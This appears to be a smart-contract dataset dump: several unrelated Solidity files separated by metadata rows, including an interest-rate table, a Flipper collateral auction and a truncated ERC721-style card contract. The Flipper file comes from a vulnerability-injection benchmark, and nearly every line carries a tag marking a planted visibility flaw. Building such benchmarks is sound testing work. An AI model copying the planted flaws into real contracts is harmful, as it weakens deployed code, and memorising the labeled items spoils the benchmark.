function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 198,324 | 778 |
9a5cea0691fa0a2d84c4caba5066257b1f6986ebbb6de794b6e05609173228b2
| 20,984 |
.sol
|
Solidity
| false |
295947211
|
centrifuge/tinlake-maker-lib
|
4e447f3c6ed1c4ce79fca7f3c9af3bd4185f00e5
|
src/test/rates.sol
| 15,673 | 20,981 |
pragma solidity 0.5.12;
contract Rates {
mapping (uint256 => uint256) public rates;
constructor() public {
rates[0] = 1000000000000000000000000000;
rates[25] = 1000000000079175551708715274;
rates[50] = 1000000000158153903837946257;
rates[75] = 1000000000236936036262880196;
rates[100] = 1000000000315522921573372069;
rates[125] = 1000000000393915525145987602;
rates[150] = 1000000000472114805215157978;
rates[175] = 1000000000550121712943459312;
rates[200] = 1000000000627937192491029810;
rates[225] = 1000000000705562181084137268;
rates[250] = 1000000000782997609082909351;
rates[275] = 1000000000860244400048238898;
rates[300] = 1000000000937303470807876289;
rates[325] = 1000000001014175731521720677;
rates[350] = 1000000001090862085746321732;
rates[360] = 1000000001121484774769253326;
rates[375] = 1000000001167363430498603315;
rates[400] = 1000000001243680656318820312;
rates[425] = 1000000001319814647332759691;
rates[450] = 1000000001395766281313196627;
rates[475] = 1000000001471536429740616381;
rates[500] = 1000000001547125957863212448;
rates[525] = 1000000001622535724756171269;
rates[550] = 1000000001697766583380253701;
rates[575] = 1000000001772819380639683201;
rates[600] = 1000000001847694957439350562;
rates[625] = 1000000001922394148741344865;
rates[650] = 1000000001996917783620820123;
rates[675] = 1000000002071266685321207000;
rates[700] = 1000000002145441671308778766;
rates[725] = 1000000002219443553326580536;
rates[750] = 1000000002293273137447730714;
rates[775] = 1000000002366931224128103346;
rates[800] = 1000000002440418608258400030;
rates[825] = 1000000002513736079215619839;
rates[850] = 1000000002586884420913935572;
rates[875] = 1000000002659864411854984565;
rates[900] = 1000000002732676825177582095;
rates[925] = 1000000002805322428706865331;
rates[950] = 1000000002877801985002875644;
rates[975] = 1000000002950116251408586949;
rates[1000] = 1000000003022265980097387650;
rates[1025] = 1000000003094251918120023627;
rates[1050] = 1000000003166074807451009595;
rates[1075] = 1000000003237735385034516037;
rates[1100] = 1000000003309234382829738808;
rates[1125] = 1000000003380572527855758393;
rates[1150] = 1000000003451750542235895695;
rates[1175] = 1000000003522769143241571114;
rates[1200] = 1000000003593629043335673582;
rates[1225] = 1000000003664330950215446102;
rates[1250] = 1000000003734875566854894261;
rates[1275] = 1000000003805263591546724039;
rates[1300] = 1000000003875495717943815211;
rates[1325] = 1000000003945572635100236468;
rates[1350] = 1000000004015495027511808328;
rates[1375] = 1000000004085263575156219812;
rates[1400] = 1000000004154878953532704765;
rates[1425] = 1000000004224341833701283597;
rates[1450] = 1000000004293652882321576158;
rates[1475] = 1000000004362812761691191350;
rates[1500] = 1000000004431822129783699001;
rates[1525] = 1000000004500681640286189459;
rates[1550] = 1000000004569391942636426248;
rates[1575] = 1000000004637953682059597074;
rates[1600] = 1000000004706367499604668374;
rates[1625] = 1000000004774634032180348552;
rates[1650] = 1000000004842753912590664903;
rates[1675] = 1000000004910727769570159235;
rates[1700] = 1000000004978556227818707070;
rates[1725] = 1000000005046239908035965222;
rates[1750] = 1000000005113779426955452540;
rates[1775] = 1000000005181175397378268462;
rates[1800] = 1000000005248428428206454010;
rates[1825] = 1000000005315539124475999751;
rates[1850] = 1000000005382508087389505206;
rates[1875] = 1000000005449335914348494113;
rates[1900] = 1000000005516023198985389892;
rates[1925] = 1000000005582570531195155575;
rates[1950] = 1000000005648978497166602432;
rates[1975] = 1000000005715247679413371444;
rates[2000] = 1000000005781378656804591712;
rates[2025] = 1000000005847372004595219844;
rates[2050] = 1000000005913228294456064283;
rates[2075] = 1000000005978948094503498507;
rates[2100] = 1000000006044531969328866955;
rates[2125] = 1000000006109980480027587488;
rates[2150] = 1000000006175294184227954125;
rates[2175] = 1000000006240473636119643770;
rates[2200] = 1000000006305519386481930552;
rates[2225] = 1000000006370431982711611382;
rates[2250] = 1000000006435211968850646270;
rates[2275] = 1000000006499859885613516871;
rates[2300] = 1000000006564376270414306730;
rates[2325] = 1000000006628761657393506584;
rates[2350] = 1000000006693016577444548094;
rates[2375] = 1000000006757141558240069277;
rates[2400] = 1000000006821137124257914908;
rates[2425] = 1000000006885003796806875073;
rates[2450] = 1000000006948742094052165050;
rates[2475] = 1000000007012352531040649627;
rates[2500] = 1000000007075835619725814915;
rates[2525] = 1000000007139191868992490695;
rates[2550] = 1000000007202421784681326287;
rates[2575] = 1000000007265525869613022867;
rates[2600] = 1000000007328504623612325153;
rates[2625] = 1000000007391358543531775311;
rates[2650] = 1000000007454088123275231904;
rates[2675] = 1000000007516693853821156670;
rates[2700] = 1000000007579176223245671878;
rates[2725] = 1000000007641535716745390957;
rates[2750] = 1000000007703772816660025079;
rates[2775] = 1000000007765888002494768329;
rates[2800] = 1000000007827881750942464045;
rates[2825] = 1000000007889754535905554913;
rates[2850] = 1000000007951506828517819323;
rates[2875] = 1000000008013139097165896490;
rates[2900] = 1000000008074651807510602798;
rates[2925] = 1000000008136045422508041783;
rates[2950] = 1000000008197320402430510158;
rates[2975] = 1000000008258477204887202245;
rates[3000] = 1000000008319516284844715115;
rates[3025] = 1000000008380438094647356774;
rates[3050] = 1000000008441243084037259619;
rates[3075] = 1000000008501931700174301437;
rates[3100] = 1000000008562504387655836125;
rates[3125] = 1000000008622961588536236324;
rates[3150] = 1000000008683303742346250114;
rates[3175] = 1000000008743531286112173869;
rates[3200] = 1000000008803644654374843395;
rates[3225] = 1000000008863644279208445392;
rates[3250] = 1000000008923530590239151272;
rates[3275] = 1000000008983304014663575373;
rates[3300] = 1000000009042964977267059505;
rates[3325] = 1000000009102513900441785827;
rates[3350] = 1000000009161951204204719966;
rates[3375] = 1000000009221277306215386279;
rates[3400] = 1000000009280492621793477151;
rates[3425] = 1000000009339597563936298181;
rates[3450] = 1000000009398592543336051086;
rates[3475] = 1000000009457477968396956129;
rates[3500] = 1000000009516254245252215861;
rates[3525] = 1000000009574921777780821942;
rates[3550] = 1000000009633480967624206760;
rates[3575] = 1000000009691932214202741592;
rates[3600] = 1000000009750275914732082986;
rates[3625] = 1000000009808512464239369028;
rates[3650] = 1000000009866642255579267166;
rates[3675] = 1000000009924665679449875210;
rates[3700] = 1000000009982583124408477109;
rates[3725] = 1000000010040394976887155106;
rates[3750] = 1000000010098101621208259840;
rates[3775] = 1000000010155703439599739931;
rates[3800] = 1000000010213200812210332586;
rates[3825] = 1000000010270594117124616733;
rates[3850] = 1000000010327883730377930177;
rates[3875] = 1000000010385070025971152244;
rates[3900] = 1000000010442153375885353361;
rates[3925] = 1000000010499134150096313024;
rates[3950] = 1000000010556012716588907553;
rates[3975] = 1000000010612789441371369043;
rates[4000] = 1000000010669464688489416886;
rates[4025] = 1000000010726038820040263233;
rates[4050] = 1000000010782512196186493739;
rates[4075] = 1000000010838885175169824929;
rates[4100] = 1000000010895158113324739488;
rates[4125] = 1000000010951331365092000772;
rates[4150] = 1000000011007405283032047846;
rates[4175] = 1000000011063380217838272275;
rates[4200] = 1000000011119256518350177948;
rates[4225] = 1000000011175034531566425160;
rates[4250] = 1000000011230714602657760176;
rates[4275] = 1000000011286297074979831462;
rates[4300] = 1000000011341782290085893805;
rates[4325] = 1000000011397170587739401474;
rates[4350] = 1000000011452462305926491579;
rates[4375] = 1000000011507657780868358802;
rates[4400] = 1000000011562757347033522598;
rates[4425] = 1000000011617761337149988016;
rates[4450] = 1000000011672670082217301219;
rates[4475] = 1000000011727483911518500818;
rates[4500] = 1000000011782203152631966084;
rates[4525] = 1000000011836828131443163102;
rates[4550] = 1000000011891359172156289942;
rates[4575] = 1000000011945796597305821848;
rates[4600] = 1000000012000140727767957524;
rates[4625] = 1000000012054391882771967477;
rates[4650] = 1000000012108550379911445472;
rates[4675] = 1000000012162616535155464050;
rates[4700] = 1000000012216590662859635112;
rates[4725] = 1000000012270473075777076530;
rates[4750] = 1000000012324264085069285747;
rates[4775] = 1000000012377964000316921287;
rates[4800] = 1000000012431573129530493155;
rates[4825] = 1000000012485091779160962996;
rates[4850] = 1000000012538520254110254976;
rates[4875] = 1000000012591858857741678240;
rates[4900] = 1000000012645107891890261872;
rates[4925] = 1000000012698267656873003228;
rates[4950] = 1000000012751338451499030498;
rates[4975] = 1000000012804320573079680371;
rates[5000] = 1000000012857214317438491659;
rates[5025] = 1000000012910019978921115695;
rates[5050] = 1000000012962737850405144363;
rates[5075] = 1000000013015368223309856554;
rates[5100] = 1000000013067911387605883890;
rates[5125] = 1000000013120367631824796485;
rates[5150] = 1000000013172737243068609553;
rates[5175] = 1000000013225020507019211652;
rates[5200] = 1000000013277217707947715318;
rates[5225] = 1000000013329329128723730871;
rates[5250] = 1000000013381355050824564143;
rates[5275] = 1000000013433295754344338876;
rates[5300] = 1000000013485151518003044532;
rates[5325] = 1000000013536922619155510237;
rates[5350] = 1000000013588609333800305597;
rates[5375] = 1000000013640211936588569081;
rates[5400] = 1000000013691730700832764691;
rates[5425] = 1000000013743165898515367617;
rates[5450] = 1000000013794517800297479554;
rates[5475] = 1000000013845786675527374380;
rates[5500] = 1000000013896972792248974855;
rates[5525] = 1000000013948076417210261020;
rates[5550] = 1000000013999097815871610946;
rates[5575] = 1000000014050037252414074493;
rates[5600] = 1000000014100894989747580713;
rates[5625] = 1000000014151671289519079548;
rates[5650] = 1000000014202366412120618444;
rates[5675] = 1000000014252980616697354502;
rates[5700] = 1000000014303514161155502800;
rates[5725] = 1000000014353967302170221464;
rates[5750] = 1000000014404340295193434124;
rates[5775] = 1000000014454633394461590334;
rates[5800] = 1000000014504846853003364537;
rates[5825] = 1000000014554980922647294184;
rates[5850] = 1000000014605035854029357558;
rates[5875] = 1000000014655011896600491882;
rates[5900] = 1000000014704909298634052283;
rates[5925] = 1000000014754728307233212158;
rates[5950] = 1000000014804469168338305494;
rates[5975] = 1000000014854132126734111701;
rates[6000] = 1000000014903717426057083481;
rates[6025] = 1000000014953225308802518272;
rates[6050] = 1000000015002656016331673799;
rates[6075] = 1000000015052009788878828253;
rates[6100] = 1000000015101286865558285606;
rates[6125] = 1000000015150487484371326590;
rates[6150] = 1000000015199611882213105818;
rates[6175] = 1000000015248660294879495575;
rates[6200] = 1000000015297632957073876761;
rates[6225] = 1000000015346530102413877471;
rates[6250] = 1000000015395351963438059699;
rates[6275] = 1000000015444098771612554646;
rates[6300] = 1000000015492770757337647112;
rates[6325] = 1000000015541368149954309419;
rates[6350] = 1000000015589891177750685357;
rates[6375] = 1000000015638340067968524580;
rates[6400] = 1000000015686715046809567945;
rates[6425] = 1000000015735016339441884188;
rates[6450] = 1000000015783244170006158447;
rates[6475] = 1000000015831398761621933006;
rates[6500] = 1000000015879480336393800741;
rates[6525] = 1000000015927489115417551681;
rates[6550] = 1000000015975425318786273105;
rates[6575] = 1000000016023289165596403599;
rates[6600] = 1000000016071080873953741499;
rates[6625] = 1000000016118800660979408115;
rates[6650] = 1000000016166448742815766155;
rates[6675] = 1000000016214025334632293755;
rates[6700] = 1000000016261530650631414500;
rates[6725] = 1000000016308964904054283846;
rates[6750] = 1000000016356328307186532328;
rates[6775] = 1000000016403621071363965932;
rates[6800] = 1000000016450843406978224029;
rates[6825] = 1000000016497995523482395247;
rates[6850] = 1000000016545077629396591637;
rates[6875] = 1000000016592089932313481533;
rates[6900] = 1000000016639032638903781446;
rates[6925] = 1000000016685905954921707380;
rates[6950] = 1000000016732710085210385903;
rates[6975] = 1000000016779445233707225354;
rates[7000] = 1000000016826111603449247521;
rates[7025] = 1000000016872709396578380147;
rates[7050] = 1000000016919238814346710603;
rates[7075] = 1000000016965700057121701072;
rates[7100] = 1000000017012093324391365593;
rates[7125] = 1000000017058418814769409273;
rates[7150] = 1000000017104676726000330021;
rates[7175] = 1000000017150867254964483131;
rates[7200] = 1000000017196990597683109018;
rates[7225] = 1000000017243046949323324453;
rates[7250] = 1000000017289036504203077600;
rates[7275] = 1000000017334959455796067168;
rates[7300] = 1000000017380815996736626004;
rates[7325] = 1000000017426606318824569415;
rates[7350] = 1000000017472330613030008543;
rates[7375] = 1000000017517989069498129080;
rates[7400] = 1000000017563581877553935633;
rates[7425] = 1000000017609109225706962029;
rates[7450] = 1000000017654571301655947851;
rates[7475] = 1000000017699968292293481503;
rates[7500] = 1000000017745300383710610088;
rates[7525] = 1000000017790567761201416374;
rates[7550] = 1000000017835770609267563142;
rates[7575] = 1000000017880909111622805195;
rates[7600] = 1000000017925983451197469286;
rates[7625] = 1000000017970993810142902264;
rates[7650] = 1000000018015940369835887686;
rates[7675] = 1000000018060823310883031179;
rates[7700] = 1000000018105642813125114801;
rates[7725] = 1000000018150399055641420686;
rates[7750] = 1000000018195092216754024201;
rates[7775] = 1000000018239722474032056911;
rates[7800] = 1000000018284290004295939569;
rates[7825] = 1000000018328794983621585414;
rates[7850] = 1000000018373237587344574003;
rates[7875] = 1000000018417617990064295840;
rates[7900] = 1000000018461936365648068049;
rates[7925] = 1000000018506192887235221305;
rates[7950] = 1000000018550387727241158310;
rates[7975] = 1000000018594521057361384012;
rates[8000] = 1000000018638593048575507813;
rates[8025] = 1000000018682603871151218019;
rates[8050] = 1000000018726553694648228732;
rates[8075] = 1000000018770442687922199432;
rates[8100] = 1000000018814271019128627481;
rates[8125] = 1000000018858038855726713746;
rates[8150] = 1000000018901746364483201594;
rates[8175] = 1000000018945393711476189463;
rates[8200] = 1000000018988981062098917230;
rates[8225] = 1000000019032508581063526585;
rates[8250] = 1000000019075976432404795643;
rates[8275] = 1000000019119384779483847985;
rates[8300] = 1000000019162733784991836346;
rates[8325] = 1000000019206023610953601168;
rates[8350] = 1000000019249254418731304205;
rates[8375] = 1000000019292426369028037391;
rates[8400] = 1000000019335539621891407188;
rates[8425] = 1000000019378594336717094581;
rates[8450] = 1000000019421590672252390959;
rates[8475] = 1000000019464528786599710033;
rates[8500] = 1000000019507408837220076029;
rates[8525] = 1000000019550230980936588320;
rates[8550] = 1000000019592995373937862689;
rates[8575] = 1000000019635702171781449432;
rates[8600] = 1000000019678351529397228463;
rates[8625] = 1000000019720943601090781625;
rates[8650] = 1000000019763478540546742376;
rates[8675] = 1000000019805956500832123050;
rates[8700] = 1000000019848377634399619849;
rates[8725] = 1000000019890742093090895767;
rates[8750] = 1000000019933050028139841613;
rates[8775] = 1000000019975301590175815296;
rates[8800] = 1000000020017496929226859581;
rates[8825] = 1000000020059636194722898437;
rates[8850] = 1000000020101719535498912200;
rates[8875] = 1000000020143747099798091677;
rates[8900] = 1000000020185719035274971385;
rates[8925] = 1000000020227635488998542076;
rates[8950] = 1000000020269496607455342719;
rates[8975] = 1000000020311302536552532106;
rates[9000] = 1000000020353053421620940223;
rates[9025] = 1000000020394749407418099573;
rates[9050] = 1000000020436390638131256590;
rates[9075] = 1000000020477977257380363298;
rates[9100] = 1000000020519509408221049399;
rates[9125] = 1000000020560987233147574896;
rates[9150] = 1000000020602410874095763456;
rates[9175] = 1000000020643780472445916617;
rates[9200] = 1000000020685096169025709028;
rates[9225] = 1000000020726358104113064837;
rates[9250] = 1000000020767566417439015395;
rates[9275] = 1000000020808721248190538424;
rates[9300] = 1000000020849822735013378765;
rates[9325] = 1000000020890871016014850891;
rates[9350] = 1000000020931866228766623286;
rates[9375] = 1000000020972808510307484860;
rates[9400] = 1000000021013697997146093523;
rates[9425] = 1000000021054534825263707061;
rates[9450] = 1000000021095319130116896449;
rates[9475] = 1000000021136051046640241741;
rates[9500] = 1000000021176730709249010667;
rates[9525] = 1000000021217358251841820063;
rates[9550] = 1000000021257933807803280285;
rates[9575] = 1000000021298457510006622716;
rates[9600] = 1000000021338929490816310513;
rates[9625] = 1000000021379349882090632705;
rates[9650] = 1000000021419718815184281790;
rates[9675] = 1000000021460036420950914938;
rates[9700] = 1000000021500302829745698932;
rates[9725] = 1000000021540518171427838973;
rates[9750] = 1000000021580682575363091474;
rates[9775] = 1000000021620796170426260951;
rates[9800] = 1000000021660859085003681151;
rates[9825] = 1000000021700871446995680519;
rates[9850] = 1000000021740833383819032127;
rates[9875] = 1000000021780745022409388199;
rates[9900] = 1000000021820606489223699321;
rates[9925] = 1000000021860417910242618463;
rates[9950] = 1000000021900179410972889943;
rates[9975] = 1000000021939891116449723415;
rates[10000] = 1000000021979553151239153027;
}
}
| 170,620 | 779 |
c7b9e64e69b1df61b4e159a31ead7e806d031a3fdf6aa8f4f74c973f2afa7b10
| 10,106 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/NonpublicVarAccessdByPublicFunc/manualCheck/0x0f398a2daaa134621e4b687fccfee4ce47599cc1_nonpublicVarAccessdByPublicFunc.sol
| 2,763 | 9,605 |
/// flip.sol -- Collateral auction
// Copyright (C) 2018 Rain <rainbreak@riseup.net>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity >=0.5.12;
contract LibNote {
event LogNote(bytes4 indexed sig,
address indexed usr,
bytes32 indexed arg1,
bytes32 indexed arg2,
bytes data) anonymous;
modifier note {
_;
assembly {
// log an 'anonymous' event with a constant 6 words of calldata
// and four indexed topics: selector, caller, arg1 and arg2
let mark := msize() // end of memory ensures zero
mstore(0x40, add(mark, 288)) // update free memory pointer
mstore(mark, 0x20) // bytes type data offset
mstore(add(mark, 0x20), 224) // bytes size (padded)
calldatacopy(add(mark, 0x40), 0, 224) // bytes payload
log4(mark, 288, // calldata
shl(224, shr(224, calldataload(0))), // msg.sig
caller(), // msg.sender
calldataload(4), // arg1
calldataload(36) // arg2)
}
}
}
interface VatLike {
function move(address,address,uint) external;
function flux(bytes32,address,address,uint) external;
}
contract Flipper is LibNote {
// --- Auth ---
mapping (address => uint) internal wards;
function rely(address usr) external note auth { wards[usr] = 1; } //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
function deny(address usr) external note auth { wards[usr] = 0; } //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
modifier auth {
require(wards[msg.sender] == 1, "Flipper/not-authorized");
_;
}
// --- Data ---
struct Bid {
uint256 bid; // dai paid [rad]
uint256 lot; // gems in return for bid [wad]
address guy; // high bidder
uint48 tic; // bid expiry time [unix epoch time]
uint48 end; // auction expiry time [unix epoch time]
address usr;
address gal;
uint256 tab; // total dai wanted [rad]
}
mapping (uint => Bid) internal bids;
VatLike internal vat;
bytes32 internal ilk;
uint256 constant ONE = 1.00E18;
uint256 internal beg = 1.05E18; // 5% minimum bid increase
uint48 internal ttl = 3 hours; // 3 hours bid duration [seconds]
uint48 internal tau = 2 days; // 2 days total auction length [seconds]
uint256 internal kicks = 0;
// --- Events ---
event Kick(uint256 id,
uint256 lot,
uint256 bid,
uint256 tab,
address indexed usr,
address indexed gal);
// --- Init ---
constructor(address vat_, bytes32 ilk_) public {
vat = VatLike(vat_);
ilk = ilk_;
wards[msg.sender] = 1;
}
// --- Math ---
function add(uint48 x, uint48 y) internal pure returns (uint48 z) {
require((z = x + y) >= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
// --- Admin ---
function file(bytes32 what, uint data) external note auth {
if (what == "beg") beg = data; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
else if (what == "ttl") ttl = uint48(data); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
else if (what == "tau") tau = uint48(data); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
else revert("Flipper/file-unrecognized-param");
}
// --- Auction ---
function kick(address usr, address gal, uint tab, uint lot, uint bid)
public auth returns (uint id)
{
require(kicks < uint(-1), "Flipper/overflow"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
id = ++kicks; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].bid = bid; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].lot = lot; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].guy = msg.sender; // configurable?? //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].end = add(uint48(now), tau); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].usr = usr; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].gal = gal; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].tab = tab; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.flux(ilk, msg.sender, address(this), lot); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
emit Kick(id, lot, bid, tab, usr, gal);
}
function tick(uint id) external note {
require(bids[id].end < now, "Flipper/not-finished"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].tic == 0, "Flipper/bid-already-placed"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].end = add(uint48(now), tau); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function tend(uint id, uint lot, uint bid) external note {
require(bids[id].guy != address(0), "Flipper/guy-not-set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].tic > now || bids[id].tic == 0, "Flipper/already-finished-tic"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].end > now, "Flipper/already-finished-end"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(lot == bids[id].lot, "Flipper/lot-not-matching"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bid <= bids[id].tab, "Flipper/higher-than-tab"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bid > bids[id].bid, "Flipper/bid-not-higher"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(mul(bid, ONE) >= mul(beg, bids[id].bid) || bid == bids[id].tab, "Flipper/insufficient-increase"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (msg.sender != bids[id].guy) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.move(msg.sender, bids[id].guy, bids[id].bid); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].guy = msg.sender; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
vat.move(msg.sender, bids[id].gal, bid - bids[id].bid); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].bid = bid; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].tic = add(uint48(now), ttl); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function dent(uint id, uint lot, uint bid) external note {
require(bids[id].guy != address(0), "Flipper/guy-not-set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].tic > now || bids[id].tic == 0, "Flipper/already-finished-tic"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].end > now, "Flipper/already-finished-end"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bid == bids[id].bid, "Flipper/not-matching-bid"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bid == bids[id].tab, "Flipper/tend-not-finished"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(lot < bids[id].lot, "Flipper/lot-not-lower"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(mul(beg, lot) <= mul(bids[id].lot, ONE), "Flipper/insufficient-decrease"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
if (msg.sender != bids[id].guy) { //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.move(msg.sender, bids[id].guy, bid); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].guy = msg.sender; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
vat.flux(ilk, address(this), bids[id].usr, bids[id].lot - lot); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].lot = lot; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
bids[id].tic = add(uint48(now), ttl); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function deal(uint id) external note {
require(bids[id].tic != 0 && (bids[id].tic < now || bids[id].end < now), "Flipper/not-finished"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.flux(ilk, address(this), bids[id].guy, bids[id].lot); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
delete bids[id]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
function yank(uint id) external note auth {
require(bids[id].guy != address(0), "Flipper/guy-not-set"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
require(bids[id].bid < bids[id].tab, "Flipper/already-dent-phase"); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.flux(ilk, address(this), msg.sender, bids[id].lot); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
vat.move(msg.sender, bids[id].guy, bids[id].bid); //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
delete bids[id]; //inject NONPUBLIC VAR ACCESSD BY PUBLIC FUNC
}
}
| 277,986 | 780 |
450e62a1248ec376a3f4f4d506461e65c11278f510cfdf29efc474450f5676e9
| 21,071 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xf15666603540fb9218b85567ee833455cb586dc0.sol
| 5,696 | 20,605 |
pragma solidity ^0.4.19;
contract Card {
event Transfer(address indexed from, address indexed to, uint indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint indexed tokenId);
event CardCreated(address indexed owner, uint cardNumber, uint craftedFromLeft, uint craftedFromRight);
event Gift(uint cardId, address sender, address reciever);
address public masterAddress1;
address public masterAddress2;
address public withdrawAddress;
struct CardStructure {
uint16[16] runes;
uint16[16] powers;
uint64 createdAt;
uint64 canCraftAt;
uint32 craftedFromLeft;
uint32 craftedFromRight;
uint difficulty;
uint16 generation;
}
CardStructure[] allCards;
mapping (uint => address) public indexToOwner;
mapping (address => uint) ownershipCount;
mapping (uint => address) public indexToApproved;
function _transfer(address _from, address _to, uint _tokenId) internal {
ownershipCount[_to]++;
indexToOwner[_tokenId] = _to;
if (_from != address(this)) {
ownershipCount[_from]--;
}
Transfer(_from, _to, _tokenId);
}
modifier masterRestricted() {
require(msg.sender == masterAddress1 || msg.sender == masterAddress2);
_;
}
function getCard(uint _id) public view returns (uint difficulty, uint canCraftAt,
uint createdAt, uint craftedFromLeft, uint craftedFromRight, uint generation, uint16[16] runes, uint16[16] powers,
address owner) {
CardStructure storage card = allCards[_id];
difficulty = uint(card.difficulty);
canCraftAt = uint(card.canCraftAt);
createdAt = uint(card.createdAt);
craftedFromLeft = uint(card.craftedFromLeft);
craftedFromRight = uint(card.craftedFromRight);
generation = uint(card.generation);
runes = card.runes;
powers = uint16[16](card.powers);
owner = address(indexToOwner[_id]);
}
function _createCard(uint16[16] _runes, uint16[16] _powers, uint _craftedFromLeft, uint _craftedFromRight, uint _generation,
address _owner) internal returns (uint) {
CardStructure memory card = CardStructure({
runes: uint16[16](_runes),
powers: uint16[16](_powers),
createdAt: uint64(now),
canCraftAt: 0,
craftedFromLeft: uint32(_craftedFromLeft),
craftedFromRight: uint32(_craftedFromRight),
difficulty: 0,
generation: uint16(_generation)
});
uint cardNumber = allCards.push(card) - 1;
CardCreated(_owner, cardNumber, uint(card.craftedFromLeft), uint(card.craftedFromRight));
_transfer(this, _owner, cardNumber);
return cardNumber;
}
string public name = "EtherScrolls";
string public symbol = "ES";
function implementsERC721() public pure returns (bool) {
return true;
}
function _owns(address _claimant, uint _tokenId) internal view returns (bool) {
return indexToOwner[_tokenId] == _claimant;
}
function hasBeenApproved(address _claimant, uint _tokenId) public view returns (bool) {
return indexToApproved[_tokenId] == _claimant;
}
function _approve(uint _tokenId, address _approved) internal {
indexToApproved[_tokenId] = _approved;
}
function balanceOf(address _owner) public view returns (uint count) {
return ownershipCount[_owner];
}
function transfer(address _to, uint _tokenId) public {
require(_owns(msg.sender, _tokenId));
require(_to != address(0));
_transfer(msg.sender, _to, _tokenId);
}
function approve(address _to, uint _tokenId) public {
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint _tokenId) public {
require(_owns(_from, _tokenId));
require(hasBeenApproved(msg.sender, _tokenId));
_transfer(_from, _to, _tokenId);
}
function totalSupply() public view returns (uint) {
return allCards.length - 1;
}
function ownerOf(uint _tokenId) public view returns (address) {
address owner = indexToOwner[_tokenId];
require(owner != address(0));
return owner;
}
}
contract CraftingInterface {
function craft(uint16[16] leftParentRunes, uint16[16] leftParentPowers, uint16[16] rightParentRunes, uint16[16] rightParentPowers) public view returns (uint16[16], uint16[16]);
}
contract DutchAuctionInterface {
function DutchAuction(address etherScrollsAddressess, address _master1, address _master2) public;
function payMasters() external;
function isForAuction(uint card) public view returns (bool);
function getCurrentPrice(uint cardNumber) public view returns (uint);
function isValidAuction(uint card) public view returns (bool);
function getAuction(uint cardNumber) public view returns(uint startingPrice, uint endingPrice, uint duration, address seller,uint startedAt);
